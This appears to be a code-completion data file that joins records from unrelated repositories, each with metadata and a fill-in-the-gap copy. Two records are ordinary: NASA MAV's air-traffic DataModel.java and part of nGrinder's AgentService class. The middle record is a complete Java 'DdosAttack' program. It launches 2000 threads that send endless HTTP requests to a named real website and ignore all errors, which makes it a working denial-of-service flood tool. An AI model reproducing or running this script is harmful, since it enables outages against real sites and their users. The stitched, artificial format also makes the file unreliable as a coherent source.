private final DataModelInput inputs;
//
private final List<ATCNode> allWaypoints;
// data built on load
private final List<NewPlane> allPlanes;
private final List<NewPlane> departingPlanes;
private final List<NewPlane> arrivingPlanes;
private final List<NewSlot> slots;
private final Map<Integer, List<DepartureInfo>> departuresInfos;
private Map<Integer, List<NamedArrivalGap>> arrivalGaps;
private List<Route> mainRoutes;
private List<Route> allRoutes;
// TO REFACTOR
private final List<String> departureQueue;
private final Map<String, NewPlane> departureMap;
private final Map<String, Integer> planeDepartTime;
private final Map<String, Double> planeETA;
private final Map<String, NewSlot> arrivingSlots;
private final List<Controller> atControllers;
//
private int maxTimeIndex;
private int currentTimeValue = 0;
// current index of timePoint list to set the simTime to
private int timePointsIndex;
private DataModel ghostModel = null;
/**
* @param dataInputs the inputs needed to build the {@link DataModel}
*/
public DataModel(DataModelInput dataInputs) {
inputs = dataInputs;
inputs.lock();
allWaypoints = SimulationManager.getATCGeography().getWaypoints();
//calculations
// setSimulationCalculations(new SimulationCalculations(Collections.unmodifiableMap(inputs.getAllUpdates()), createSectorMap(inputs.getControllerInitializationBlocks())) );
//
allPlanes = new ArrayList<>();
departingPlanes = new ArrayList<>();
arrivingPlanes = new ArrayList<>();
slots = new ArrayList<>();
departuresInfos = new HashMap<>();
//
departureQueue = new ArrayList<>();
departureMap = new HashMap<>();
planeDepartTime = new HashMap<>();
planeETA = new HashMap<>();
arrivingSlots = new HashMap<>();
atControllers = new ArrayList<>();
//
timePointsIndex = 0;
load();
}
private void load() {
// hum....
inputs.getSimulatedElements().forEach(element -> {
if (element instanceof NewPlane) {
NewPlane p = (NewPlane) element;
allPlanes.add(p);
//TODO
System.err.println("TODO::inDataModel isDeparture");
// if (p.isDeparture()) {
// addDepartingPlane(p);
// } else {
// addArrivingPlane(p);
// }
} else if (element instanceof NewSlot) {
NewSlot s = (NewSlot) element;
addSlot(s);
} else if (element instanceof Controller) {
Controller c = (Controller) element;
addController(c);
}
});
//maxSimTime = inputs.getAllTimePoints().last();
maxTimeIndex = inputs.getAllTimePoints().size();
//
buildDepartureQueue();
arrivalGaps = DataCalculationUtilities.calculateArrivalGaps(this);
//
currentTimeValue = inputs.getStartTime();
// build routes
buildRoutes();
buildFlightPlans();
}
//=======================================================
// organize??
// private void setSimulationCalculations(SimulationCalculations calculations) {
//// DisplayViewConfigurations.setSimulationCalculations(calculations);
// //TODO
// }
//TODO: remove if works in simulation calculations
// //note : this only works when a scenario that has controller init blocks is loaded
// private Map<String,String> createSectorMap(List<ControllerInitBlock> controllerInitializationBlocks){
// Map<String,String> controllerToSectorMap = new HashMap<>();
// Map<String,String> waypointToControllerMap = new HashMap<>();
// for(ControllerInitBlock block : controllerInitializationBlocks){
// String controller = block.getControllerName();
// String toWaypoint = block.getHandOffWaypoint();
// waypointToControllerMap.put(toWaypoint,controller);
// }
// for(ATCNode waypoint : allWaypoints){
// if (waypointToControllerMap.get(waypoint.getName()) != null){
// Sector sector = calculateSectorFromCoordinate(waypoint.getLatitude(),waypoint.getLongitude());
// String sectorName;
// if(sector == null){
// sectorName = "outside of sectors";
// }else{
// sectorName = sector.getName();
// }
// controllerToSectorMap.put( waypointToControllerMap.get(waypoint.getName()), sectorName );
// }
// }
// return controllerToSectorMap;
// }
// private Sector calculateSectorFromCoordinate(double latitude, double longitude){
// List<Sector> sectors = SimulationManager.getATCGeography().getSectors();
// for(Sector sectorToCheck : sectors){
// if(sectorToCheck.containsCoordinate(latitude,longitude)){
// return sectorToCheck;
// }
// }
// return null;
// }
//=======================================================
public DataModelInput getInputs() {
return inputs;
}
public List<ATCNode> getAllWaypoints() {
return Collections.unmodifiableList(allWaypoints);
}
/**
* @return all the {@link SimulatedElement} in the {@link DataModel}
*/
public List<SimulatedElement> geSimulatedElements() {
return Collections.unmodifiableList(inputs.getSimulatedElements());
}
public List<NewPlane> getAllPlanes() {
return Collections.unmodifiableList(allPlanes);
}
public List<NewSlot> getSlots() {
return Collections.unmodifiableList(slots);
}
public List<Controller> getATControllers() {
return Collections.unmodifiableList(atControllers);
}
public SortedSet<Integer> getTimePoints() {
return Collections.unmodifiableSortedSet(inputs.getAllTimePoints());
}
// public List<String> getDepartureQueue() {
// return Collections.unmodifiableList(departureQueue);
// }
public Map<Integer, List<SeparationViolation>> getSeparationViolators() {
return Collections.unmodifiableMap(inputs.getAllSeparationViolators());
}
public List<NewPlane> getDepartingPlanes() {
return Collections.unmodifiableList(departingPlanes);
}
public List<NewPlane> getArrivingPlanes() {
return Collections.unmodifiableList(arrivingPlanes);
}
public List<Route> getMainRoutes() {
//already unmodifiable
return mainRoutes;
}
public DepartureQueue getDepartureQueue() {
return inputs.getDepartureQueue();
}
public List<Route> getAllRoutes() {
return Collections.unmodifiableList(allRoutes);
}
public Map<String, Map<Integer, AfoUpdate>> getAllDataUpdates() {
return Collections.unmodifiableMap(inputs.getAllUpdates());
}
public Map<Integer, List<NamedArrivalGap>> getArrivalGaps() {
return Collections.unmodifiableMap(arrivalGaps);
}
public Map<Integer, List<ControllerHandOff>> getHandOffs() {
return Collections.unmodifiableMap(inputs.getHandOffs());
}
public int getSimTime() {
return currentTimeValue;
}
public int getMinSimTime() {
return inputs.getStartTime();
}
public int getMaxSimTime() {
return inputs.getEndTime();
}
public int getSimulationDuration() {
return inputs.getAllTimePoints().last();
}
public int incrementTime() {
if (timePointsIndex < maxTimeIndex) {
timePointsIndex++;
}
currentTimeValue = (int) inputs.getAllTimePoints().toArray()[timePointsIndex];
updateModel();
return currentTimeValue;
}
public int decrementTime() {
if (timePointsIndex > 0) {
timePointsIndex--;
}
currentTimeValue = (int) inputs.getAllTimePoints().toArray()[timePointsIndex];
updateModel();
return currentTimeValue;
}
public int setSimTime(int newtime) {
if (inputs.getAllTimePoints().contains(newtime)) {
for (int i = 0; i < maxTimeIndex; i++) {
// hum...
int time = (int) inputs.getAllTimePoints().toArray()[i];
if (time == newtime) {
currentTimeValue = time;
timePointsIndex = i;
updateModel();
return currentTimeValue;
}
}
}
return currentTimeValue;
}
public NewPlane getCorrespondingPlane(NewSlot slot) {
// TODO: use a map
for (NewPlane p : allPlanes) {
if (p.getSimpleName().equals(slot.getSimpleName())) {
return p;
}
}
return null;
}
public List<DepartureInfo> getDeparturesQueue(int time) {
return Collections.unmodifiableList(departuresInfos.get(time));
}
/*
* PRIVATE METHODS
*/
private void buildDepartureQueue() {
// for each simulation tine
inputs.getAllTimePoints().forEach(time -> {
final List<DepartureInfo> departures = new ArrayList<>();
// for each plane
departingPlanes.forEach(plane -> {
// get departure time
AfoUpdate update = inputs.getAllUpdates().get(plane.getFullName()).get(time);
if (update != null) {
int startTime = update.getStartTime();
int status = update.getStatus();
// TODO take care of initial departure time
if (startTime >= time && status == Constants.ON_GROUND) {
departures.add(new DepartureInfo(plane.getSimpleName(), startTime, startTime, departures.size()));
}
}
});
departuresInfos.put(time, departures);
});
//
}
private void addArrivingPlane(NewPlane plane) {
int index = 0;
for (int i = 0; i < arrivingPlanes.size(); i++) {
NewPlane p = arrivingPlanes.get(i);
if (plane.getEta() <= p.getEta()) {
index = i;
break;
} else
index = i + 1;
}
arrivingPlanes.add(index, plane);
planeETA.put(plane.getFullName(), plane.getEta());
}
private void addDepartingPlane(NewPlane plane) {
// TODO Refactor based on departure Time
int index = 0;
for (int i = 0; i < departingPlanes.size(); i++) {
NewPlane p = departingPlanes.get(i);
if (plane.getStartTime() <= p.getStartTime()) {
index = i;
break;
} else
index = i + 1;
}
//
departureMap.put(plane.getFullName(), plane);
departingPlanes.add(index, plane);
planeDepartTime.put(plane.getFullName(), plane.getStartTime());
}
private void addSlot(NewSlot s) {
arrivingSlots.put(s.getFullName(), s);
slots.add(s);
}
private void addController(Controller c) {
atControllers.add(c);
}
private void updateModel() {
getAllPlanes().forEach(plane -> plane.update(currentTimeValue));
getSlots().forEach(slot -> slot.update(currentTimeValue));
if (hasGhostModel()) {
getGhostModel().getAllPlanes().forEach(plane -> plane.update(currentTimeValue));
getGhostModel().getSlots().forEach(slot -> slot.update(currentTimeValue));
}
}
public void setGhostModel(DataModel ghostDataModel) {
ghostModel = ghostDataModel;
}
public boolean hasGhostModel() {
return ghostModel != null;
}
public Controller getGhostController(Controller c) {
if (hasGhostModel()) {
for (Controller atC : ghostModel.atControllers) {
if (atC.getName().equals(c.getName())) {
return atC;
}
}
}
return null;
}
public NewSlot getGhostSlot(NewSlot s) {
if (hasGhostModel()) {
return ghostModel.arrivingSlots.get(s.getFullName());
}
return null;
}
public NewPlane getGhostPlane(NewPlane p) {
if (hasGhostModel()) {
for (NewPlane plane : ghostModel.allPlanes) {
if (plane.getFullName().equals(p.getFullName())) {
return plane;
}
}
}
return null;
}
public DataModel getGhostModel() {
return ghostModel;
}
public List<FlightPlanUpdate> getFlighPlanUpdates() {
return Collections.unmodifiableList(inputs.getFlightPlanUpdates());
}
/*
Private methods
*/
private void buildRoutes() {
allRoutes = new LinkedList<>();
for (FlightPlanUpdate flightPlanUpdate : inputs.getFlightPlanUpdates()) {
final Route route = createRoute(flightPlanUpdate.getFlightSegments());
if (!allRoutes.contains(route)) {
allRoutes.add(route);
}
}
List<Route> filteredRoutes = new LinkedList<>(allRoutes);
for (Route r1 : allRoutes) {
for (Route r2 : allRoutes) {
if (r1.isContained(r2) && !r1.equals(r2) && filteredRoutes.contains(r1)) {
filteredRoutes.remove(r1);
}
}
}
mainRoutes = Collections.unmodifiableList(filteredRoutes);
}
private Route createRoute(List<FlightSegment> segments) {
Route route = new Route();
// if no segment
if (segments.isEmpty()) {
return route;
}
//not performance optimized?
List<FlightSegment> clone = new LinkedList<>(segments);
List<FlightSegment> orderedSegments = new ArrayList<>();
FlightSegment s0 = segments.get(0);
orderedSegments.add(s0);
clone.remove(s0);
while (!clone.isEmpty()) {
for (int i = 1; i < segments.size(); i++) {
final FlightSegment seg = segments.get(i);
//test at the start
if (orderedSegments.get(0).getFromWaypoint().getName().equals(seg.getToWaypoint().getName())) {
orderedSegments.add(0, seg);
clone.remove(seg);
break;
}
//test at the end
if (orderedSegments.get(orderedSegments.size() - 1).getToWaypoint().getName().equals(seg.getFromWaypoint().getName())) {
orderedSegments.add(seg);
clone.remove(seg);
}
}
}
// creating the route
FlightSegment startSeg = orderedSegments.get(0);
route.addAtStart(startSeg.getFromWaypoint());
route.addAtEnd(startSeg.getToWaypoint());
for (int i = 1; i < segments.size() - 1; i++) {
FlightSegment seg = orderedSegments.get(i);
route.addAtEnd(seg.getToWaypoint());
}
route.addAtEnd(orderedSegments.get(orderedSegments.size() - 1).getToWaypoint());
return route;
}
private void buildFlightPlans() {
inputs.getFlightPlanUpdates().forEach(flightPlanUpdate -> {
System.err.println(flightPlanUpdate);
// fli.get
});
}
}
| nasa/MAV | mas_visualization/viz-core/src/main/java/gov/nasa/arc/atc/core/DataModel.java | 4,815 | // get departure time | line_comment | nl | /**
Copyright © 2016, United States Government, as represented
by the Administrator of the National Aeronautics and Space
Administration. All rights reserved.
The MAV - Modeling, analysis and visualization of ATM concepts
platform is licensed under the Apache License, Version 2.0
(the "License"); you may not use this file except in
compliance with the License. You may obtain a copy of the
License at http://www.apache.org/licenses/LICENSE-2.0.
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
either express or implied. See the License for the specific
language governing permissions and limitations under the
License.
**/
package gov.nasa.arc.atc.core;
import gov.nasa.arc.atc.AfoUpdate;
import gov.nasa.arc.atc.ControllerHandOff;
import gov.nasa.arc.atc.FlightPlanUpdate;
import gov.nasa.arc.atc.SimulationManager;
import gov.nasa.arc.atc.algos.dsas.NamedArrivalGap;
import gov.nasa.arc.atc.geography.ATCNode;
import gov.nasa.arc.atc.geography.FlightSegment;
import gov.nasa.arc.atc.geography.Route;
import gov.nasa.arc.atc.simulation.SeparationViolation;
import gov.nasa.arc.atc.utils.Constants;
import java.util.*;
/**
* @author aWallace
* @author ahamon
*/
public class DataModel {
// constructor parameters
private final DataModelInput inputs;
//
private final List<ATCNode> allWaypoints;
// data built on load
private final List<NewPlane> allPlanes;
private final List<NewPlane> departingPlanes;
private final List<NewPlane> arrivingPlanes;
private final List<NewSlot> slots;
private final Map<Integer, List<DepartureInfo>> departuresInfos;
private Map<Integer, List<NamedArrivalGap>> arrivalGaps;
private List<Route> mainRoutes;
private List<Route> allRoutes;
// TO REFACTOR
private final List<String> departureQueue;
private final Map<String, NewPlane> departureMap;
private final Map<String, Integer> planeDepartTime;
private final Map<String, Double> planeETA;
private final Map<String, NewSlot> arrivingSlots;
private final List<Controller> atControllers;
//
private int maxTimeIndex;
private int currentTimeValue = 0;
// current index of timePoint list to set the simTime to
private int timePointsIndex;
private DataModel ghostModel = null;
/**
* @param dataInputs the inputs needed to build the {@link DataModel}
*/
public DataModel(DataModelInput dataInputs) {
inputs = dataInputs;
inputs.lock();
allWaypoints = SimulationManager.getATCGeography().getWaypoints();
//calculations
// setSimulationCalculations(new SimulationCalculations(Collections.unmodifiableMap(inputs.getAllUpdates()), createSectorMap(inputs.getControllerInitializationBlocks())) );
//
allPlanes = new ArrayList<>();
departingPlanes = new ArrayList<>();
arrivingPlanes = new ArrayList<>();
slots = new ArrayList<>();
departuresInfos = new HashMap<>();
//
departureQueue = new ArrayList<>();
departureMap = new HashMap<>();
planeDepartTime = new HashMap<>();
planeETA = new HashMap<>();
arrivingSlots = new HashMap<>();
atControllers = new ArrayList<>();
//
timePointsIndex = 0;
load();
}
private void load() {
// hum....
inputs.getSimulatedElements().forEach(element -> {
if (element instanceof NewPlane) {
NewPlane p = (NewPlane) element;
allPlanes.add(p);
//TODO
System.err.println("TODO::inDataModel isDeparture");
// if (p.isDeparture()) {
// addDepartingPlane(p);
// } else {
// addArrivingPlane(p);
// }
} else if (element instanceof NewSlot) {
NewSlot s = (NewSlot) element;
addSlot(s);
} else if (element instanceof Controller) {
Controller c = (Controller) element;
addController(c);
}
});
//maxSimTime = inputs.getAllTimePoints().last();
maxTimeIndex = inputs.getAllTimePoints().size();
//
buildDepartureQueue();
arrivalGaps = DataCalculationUtilities.calculateArrivalGaps(this);
//
currentTimeValue = inputs.getStartTime();
// build routes
buildRoutes();
buildFlightPlans();
}
//=======================================================
// organize??
// private void setSimulationCalculations(SimulationCalculations calculations) {
//// DisplayViewConfigurations.setSimulationCalculations(calculations);
// //TODO
// }
//TODO: remove if works in simulation calculations
// //note : this only works when a scenario that has controller init blocks is loaded
// private Map<String,String> createSectorMap(List<ControllerInitBlock> controllerInitializationBlocks){
// Map<String,String> controllerToSectorMap = new HashMap<>();
// Map<String,String> waypointToControllerMap = new HashMap<>();
// for(ControllerInitBlock block : controllerInitializationBlocks){
// String controller = block.getControllerName();
// String toWaypoint = block.getHandOffWaypoint();
// waypointToControllerMap.put(toWaypoint,controller);
// }
// for(ATCNode waypoint : allWaypoints){
// if (waypointToControllerMap.get(waypoint.getName()) != null){
// Sector sector = calculateSectorFromCoordinate(waypoint.getLatitude(),waypoint.getLongitude());
// String sectorName;
// if(sector == null){
// sectorName = "outside of sectors";
// }else{
// sectorName = sector.getName();
// }
// controllerToSectorMap.put( waypointToControllerMap.get(waypoint.getName()), sectorName );
// }
// }
// return controllerToSectorMap;
// }
// private Sector calculateSectorFromCoordinate(double latitude, double longitude){
// List<Sector> sectors = SimulationManager.getATCGeography().getSectors();
// for(Sector sectorToCheck : sectors){
// if(sectorToCheck.containsCoordinate(latitude,longitude)){
// return sectorToCheck;
// }
// }
// return null;
// }
//=======================================================
public DataModelInput getInputs() {
return inputs;
}
public List<ATCNode> getAllWaypoints() {
return Collections.unmodifiableList(allWaypoints);
}
/**
* @return all the {@link SimulatedElement} in the {@link DataModel}
*/
public List<SimulatedElement> geSimulatedElements() {
return Collections.unmodifiableList(inputs.getSimulatedElements());
}
public List<NewPlane> getAllPlanes() {
return Collections.unmodifiableList(allPlanes);
}
public List<NewSlot> getSlots() {
return Collections.unmodifiableList(slots);
}
public List<Controller> getATControllers() {
return Collections.unmodifiableList(atControllers);
}
public SortedSet<Integer> getTimePoints() {
return Collections.unmodifiableSortedSet(inputs.getAllTimePoints());
}
// public List<String> getDepartureQueue() {
// return Collections.unmodifiableList(departureQueue);
// }
public Map<Integer, List<SeparationViolation>> getSeparationViolators() {
return Collections.unmodifiableMap(inputs.getAllSeparationViolators());
}
public List<NewPlane> getDepartingPlanes() {
return Collections.unmodifiableList(departingPlanes);
}
public List<NewPlane> getArrivingPlanes() {
return Collections.unmodifiableList(arrivingPlanes);
}
public List<Route> getMainRoutes() {
//already unmodifiable
return mainRoutes;
}
public DepartureQueue getDepartureQueue() {
return inputs.getDepartureQueue();
}
public List<Route> getAllRoutes() {
return Collections.unmodifiableList(allRoutes);
}
public Map<String, Map<Integer, AfoUpdate>> getAllDataUpdates() {
return Collections.unmodifiableMap(inputs.getAllUpdates());
}
public Map<Integer, List<NamedArrivalGap>> getArrivalGaps() {
return Collections.unmodifiableMap(arrivalGaps);
}
public Map<Integer, List<ControllerHandOff>> getHandOffs() {
return Collections.unmodifiableMap(inputs.getHandOffs());
}
public int getSimTime() {
return currentTimeValue;
}
public int getMinSimTime() {
return inputs.getStartTime();
}
public int getMaxSimTime() {
return inputs.getEndTime();
}
public int getSimulationDuration() {
return inputs.getAllTimePoints().last();
}
public int incrementTime() {
if (timePointsIndex < maxTimeIndex) {
timePointsIndex++;
}
currentTimeValue = (int) inputs.getAllTimePoints().toArray()[timePointsIndex];
updateModel();
return currentTimeValue;
}
public int decrementTime() {
if (timePointsIndex > 0) {
timePointsIndex--;
}
currentTimeValue = (int) inputs.getAllTimePoints().toArray()[timePointsIndex];
updateModel();
return currentTimeValue;
}
public int setSimTime(int newtime) {
if (inputs.getAllTimePoints().contains(newtime)) {
for (int i = 0; i < maxTimeIndex; i++) {
// hum...
int time = (int) inputs.getAllTimePoints().toArray()[i];
if (time == newtime) {
currentTimeValue = time;
timePointsIndex = i;
updateModel();
return currentTimeValue;
}
}
}
return currentTimeValue;
}
public NewPlane getCorrespondingPlane(NewSlot slot) {
// TODO: use a map
for (NewPlane p : allPlanes) {
if (p.getSimpleName().equals(slot.getSimpleName())) {
return p;
}
}
return null;
}
public List<DepartureInfo> getDeparturesQueue(int time) {
return Collections.unmodifiableList(departuresInfos.get(time));
}
/*
* PRIVATE METHODS
*/
private void buildDepartureQueue() {
// for each simulation tine
inputs.getAllTimePoints().forEach(time -> {
final List<DepartureInfo> departures = new ArrayList<>();
// for each plane
departingPlanes.forEach(plane -> {
// get departure<SUF>
AfoUpdate update = inputs.getAllUpdates().get(plane.getFullName()).get(time);
if (update != null) {
int startTime = update.getStartTime();
int status = update.getStatus();
// TODO take care of initial departure time
if (startTime >= time && status == Constants.ON_GROUND) {
departures.add(new DepartureInfo(plane.getSimpleName(), startTime, startTime, departures.size()));
}
}
});
departuresInfos.put(time, departures);
});
//
}
private void addArrivingPlane(NewPlane plane) {
int index = 0;
for (int i = 0; i < arrivingPlanes.size(); i++) {
NewPlane p = arrivingPlanes.get(i);
if (plane.getEta() <= p.getEta()) {
index = i;
break;
} else
index = i + 1;
}
arrivingPlanes.add(index, plane);
planeETA.put(plane.getFullName(), plane.getEta());
}
private void addDepartingPlane(NewPlane plane) {
// TODO Refactor based on departure Time
int index = 0;
for (int i = 0; i < departingPlanes.size(); i++) {
NewPlane p = departingPlanes.get(i);
if (plane.getStartTime() <= p.getStartTime()) {
index = i;
break;
} else
index = i + 1;
}
//
departureMap.put(plane.getFullName(), plane);
departingPlanes.add(index, plane);
planeDepartTime.put(plane.getFullName(), plane.getStartTime());
}
private void addSlot(NewSlot s) {
arrivingSlots.put(s.getFullName(), s);
slots.add(s);
}
private void addController(Controller c) {
atControllers.add(c);
}
private void updateModel() {
getAllPlanes().forEach(plane -> plane.update(currentTimeValue));
getSlots().forEach(slot -> slot.update(currentTimeValue));
if (hasGhostModel()) {
getGhostModel().getAllPlanes().forEach(plane -> plane.update(currentTimeValue));
getGhostModel().getSlots().forEach(slot -> slot.update(currentTimeValue));
}
}
public void setGhostModel(DataModel ghostDataModel) {
ghostModel = ghostDataModel;
}
public boolean hasGhostModel() {
return ghostModel != null;
}
public Controller getGhostController(Controller c) {
if (hasGhostModel()) {
for (Controller atC : ghostModel.atControllers) {
if (atC.getName().equals(c.getName())) {
return atC;
}
}
}
return null;
}
public NewSlot getGhostSlot(NewSlot s) {
if (hasGhostModel()) {
return ghostModel.arrivingSlots.get(s.getFullName());
}
return null;
}
public NewPlane getGhostPlane(NewPlane p) {
if (hasGhostModel()) {
for (NewPlane plane : ghostModel.allPlanes) {
if (plane.getFullName().equals(p.getFullName())) {
return plane;
}
}
}
return null;
}
public DataModel getGhostModel() {
return ghostModel;
}
public List<FlightPlanUpdate> getFlighPlanUpdates() {
return Collections.unmodifiableList(inputs.getFlightPlanUpdates());
}
/*
Private methods
*/
private void buildRoutes() {
allRoutes = new LinkedList<>();
for (FlightPlanUpdate flightPlanUpdate : inputs.getFlightPlanUpdates()) {
final Route route = createRoute(flightPlanUpdate.getFlightSegments());
if (!allRoutes.contains(route)) {
allRoutes.add(route);
}
}
List<Route> filteredRoutes = new LinkedList<>(allRoutes);
for (Route r1 : allRoutes) {
for (Route r2 : allRoutes) {
if (r1.isContained(r2) && !r1.equals(r2) && filteredRoutes.contains(r1)) {
filteredRoutes.remove(r1);
}
}
}
mainRoutes = Collections.unmodifiableList(filteredRoutes);
}
private Route createRoute(List<FlightSegment> segments) {
Route route = new Route();
// if no segment
if (segments.isEmpty()) {
return route;
}
//not performance optimized?
List<FlightSegment> clone = new LinkedList<>(segments);
List<FlightSegment> orderedSegments = new ArrayList<>();
FlightSegment s0 = segments.get(0);
orderedSegments.add(s0);
clone.remove(s0);
while (!clone.isEmpty()) {
for (int i = 1; i < segments.size(); i++) {
final FlightSegment seg = segments.get(i);
//test at the start
if (orderedSegments.get(0).getFromWaypoint().getName().equals(seg.getToWaypoint().getName())) {
orderedSegments.add(0, seg);
clone.remove(seg);
break;
}
//test at the end
if (orderedSegments.get(orderedSegments.size() - 1).getToWaypoint().getName().equals(seg.getFromWaypoint().getName())) {
orderedSegments.add(seg);
clone.remove(seg);
}
}
}
// creating the route
FlightSegment startSeg = orderedSegments.get(0);
route.addAtStart(startSeg.getFromWaypoint());
route.addAtEnd(startSeg.getToWaypoint());
for (int i = 1; i < segments.size() - 1; i++) {
FlightSegment seg = orderedSegments.get(i);
route.addAtEnd(seg.getToWaypoint());
}
route.addAtEnd(orderedSegments.get(orderedSegments.size() - 1).getToWaypoint());
return route;
}
private void buildFlightPlans() {
inputs.getFlightPlanUpdates().forEach(flightPlanUpdate -> {
System.err.println(flightPlanUpdate);
// fli.get
});
}
}
|
13876_0 | /*
Author:- N4VIYA98 (Naveen Wijesinghe)!
*/
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.concurrent.atomic.AtomicBoolean;
public class DdosAttack {
public static void main(String[] args) throws Exception {
for (int i = 0; i < 2000; i++) {
DdosThread thread = new DdosThread();
thread.start();
}
}
public static class DdosThread extends Thread {
private AtomicBoolean running = new AtomicBoolean(true);
private final String request = "https://www.hackthissite.org";
private final URL url;
String param = null;
public DdosThread() throws Exception {
url = new URL(request);
param = "param1=" + URLEncoder.encode("87845", "UTF-8");
}
@Override
public void run() {
while (running.get()) {
try {
attack();
} catch (Exception e) {
}
}
}
public void attack() throws Exception {
HttpURLConnection connection = (HttpURLConnection) url
.openConnection();
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setRequestMethod("GET");
connection.setRequestProperty("charset", "utf-8");
connection.setRequestProperty("Host", this.request);
connection
.setRequestProperty("User-Agent",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0");
connection.setRequestProperty("Content-Type",
"application/x-www-form-urlencoded");
connection.setRequestProperty("Content-Length", param);
System.out.println(this + " " + connection.getResponseCode());
connection.getInputStream();
}
}
}
| naveen-98/DDOS-Java | ddos.java | 515 | /*
Author:- N4VIYA98 (Naveen Wijesinghe)!
*/ | block_comment | nl | /*
Author:- N4VIYA98 (Naveen<SUF>*/
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.concurrent.atomic.AtomicBoolean;
public class DdosAttack {
public static void main(String[] args) throws Exception {
for (int i = 0; i < 2000; i++) {
DdosThread thread = new DdosThread();
thread.start();
}
}
public static class DdosThread extends Thread {
private AtomicBoolean running = new AtomicBoolean(true);
private final String request = "https://www.hackthissite.org";
private final URL url;
String param = null;
public DdosThread() throws Exception {
url = new URL(request);
param = "param1=" + URLEncoder.encode("87845", "UTF-8");
}
@Override
public void run() {
while (running.get()) {
try {
attack();
} catch (Exception e) {
}
}
}
public void attack() throws Exception {
HttpURLConnection connection = (HttpURLConnection) url
.openConnection();
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setRequestMethod("GET");
connection.setRequestProperty("charset", "utf-8");
connection.setRequestProperty("Host", this.request);
connection
.setRequestProperty("User-Agent",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0");
connection.setRequestProperty("Content-Type",
"application/x-www-form-urlencoded");
connection.setRequestProperty("Content-Length", param);
System.out.println(this + " " + connection.getResponseCode());
connection.getInputStream();
}
}
}
|
33432_19 | /*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.ngrinder.agent.service;
import lombok.Getter;
import lombok.RequiredArgsConstructor;
import net.grinder.SingleConsole;
import net.grinder.common.GrinderProperties;
import net.grinder.common.processidentity.AgentIdentity;
import net.grinder.console.communication.AgentProcessControlImplementation;
import net.grinder.console.communication.AgentProcessControlImplementation.AgentStatusUpdateListener;
import net.grinder.console.communication.ConnectionAgentListener;
import net.grinder.engine.controller.AgentControllerIdentityImplementation;
import net.grinder.message.console.AgentControllerState;
import org.apache.commons.lang.StringUtils;
import org.apache.commons.lang.mutable.MutableInt;
import org.ngrinder.agent.model.AgentRequest;
import org.ngrinder.agent.model.Connection;
import org.ngrinder.agent.repository.AgentManagerRepository;
import org.ngrinder.agent.repository.ConnectionRepository;
import org.ngrinder.agent.store.AgentInfoStore;
import org.ngrinder.common.exception.NGrinderRuntimeException;
import org.ngrinder.infra.config.Config;
import org.ngrinder.infra.hazelcast.HazelcastService;
import org.ngrinder.infra.hazelcast.task.AgentStateTask;
import org.ngrinder.infra.hazelcast.task.ConnectionAgentTask;
import org.ngrinder.infra.hazelcast.topic.listener.TopicListener;
import org.ngrinder.infra.hazelcast.topic.message.TopicEvent;
import org.ngrinder.infra.hazelcast.topic.subscriber.TopicSubscriber;
import org.ngrinder.infra.schedule.ScheduledTaskService;
import org.ngrinder.model.AgentInfo;
import org.ngrinder.model.PerfTest;
import org.ngrinder.model.User;
import org.ngrinder.monitor.controller.model.SystemDataModel;
import org.ngrinder.perftest.service.AgentManager;
import org.ngrinder.region.model.RegionInfo;
import org.ngrinder.region.service.RegionService;
import org.ngrinder.service.AbstractAgentService;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Profile;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import javax.annotation.PostConstruct;
import java.util.*;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import static java.util.Collections.emptySet;
import static java.util.Objects.requireNonNull;
import static java.util.stream.Collectors.toList;
import static java.util.stream.Collectors.toSet;
import static java.util.stream.Stream.concat;
import static org.apache.commons.lang.StringUtils.*;
import static org.ngrinder.agent.model.AgentRequest.RequestType.STOP_AGENT;
import static org.ngrinder.agent.model.AgentRequest.RequestType.UPDATE_AGENT;
import static org.ngrinder.common.constant.CacheConstants.*;
import static org.ngrinder.common.constant.ControllerConstants.PROP_CONTROLLER_ENABLE_AGENT_AUTO_APPROVAL;
import static org.ngrinder.common.util.CollectionUtils.newHashMap;
import static org.ngrinder.common.util.LoggingUtils.format;
import static org.ngrinder.common.util.TypeConvertUtils.cast;
/**
* Agent manager service.
*
* @since 3.0
*/
@Profile("production")
@Service
@RequiredArgsConstructor
public class AgentService extends AbstractAgentService
implements TopicListener<AgentRequest>, AgentStatusUpdateListener, ConnectionAgentListener {
protected static final Logger LOGGER = LoggerFactory.getLogger(AgentService.class);
protected final AgentManager agentManager;
protected final AgentManagerRepository agentManagerRepository;
@Getter
private final Config config;
private final RegionService regionService;
private final HazelcastService hazelcastService;
private final TopicSubscriber topicSubscriber;
protected final AgentInfoStore agentInfoStore;
protected final ScheduledTaskService scheduledTaskService;
private final ConnectionRepository connectionRepository;
@Value("${ngrinder.version}")
private String nGrinderVersion;
@PostConstruct
public void init() {
agentManager.addAgentStatusUpdateListener(this);
agentManager.addConnectionAgentListener(this);
topicSubscriber.addListener(AGENT_TOPIC_LISTENER_NAME, this);
Executors.newSingleThreadScheduledExecutor().scheduleAtFixedRate(this::connectionAgentHealthCheck, 1L, 1L, TimeUnit.MINUTES);
}
private void connectionAgentHealthCheck() {
connectionRepository.findAll()
.stream()
.filter(connection -> config.getRegion().equals(connection.getRegion()))
.filter(connection -> agentInfoStore.getAgentInfo(createAgentKey(connection.getIp(), connection.getName())) == null)
.forEach(connection -> {
try {
agentManager.addConnectionAgent(connection.getIp(), connection.getPort());
LOGGER.info("Reconnected to connection agent {}:{}", connection.getIp(), connection.getPort());
